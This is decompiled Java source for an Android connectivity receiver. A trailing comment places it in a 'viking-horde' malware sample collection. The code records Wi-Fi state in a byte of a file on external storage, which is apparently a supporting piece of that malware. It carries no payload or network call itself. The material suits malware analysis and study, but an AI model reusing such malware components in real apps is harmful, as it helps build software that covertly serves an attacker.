package com.fa.c;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.Environment;
import android.util.Log;
import java.io.File;
import java.io.RandomAccessFile;

public class ConnectivityReceiver
  extends BroadcastReceiver
{
  private final byte WIFI_OFF = 0;
  private final byte WIFI_ON = 1;
  
  private boolean IsWifi(Context paramContext)
  {
    return ((ConnectivityManager)paramContext.getSystemService("connectivity")).getNetworkInfo(1).isConnected();
  }
  
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    int i = 0;
    if (IsWifi(paramContext)) {
      i = 1;
    }
    paramIntent = new byte[20];
    for (;;)
    {
      int j;
      try
      {
        paramContext = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExchangeFileName(paramContext.getApplicationContext()));
        if (!paramContext.exists())
        {
          paramContext.createNewFile();
          paramContext = new RandomAccessFile(paramContext, "rw");
          j = 0;
          if (j >= 20)
          {
            paramIntent[19] = i;
            paramContext.write(paramIntent);
            paramContext.close();
          }
        }
        else
        {
          paramContext = new RandomAccessFile(paramContext, "rw");
          paramContext.seek(19L);
          paramContext.write(i);
          paramContext.close();
          return;
        }
      }
      catch (Exception paramContext)
      {
        Log.d("CPS", paramContext.getMessage());
        return;
      }
      paramIntent[j] = 0;
      j += 1;
    }
  }
}


/* Location:              /home/enzo/Documents/hacking/malwares/viking-horde/classes.jar!/com/fa/c/ConnectivityReceiver.class
 * Java compiler version: 6 (50.0)
 * JD-Core Version:       0.7.1
 */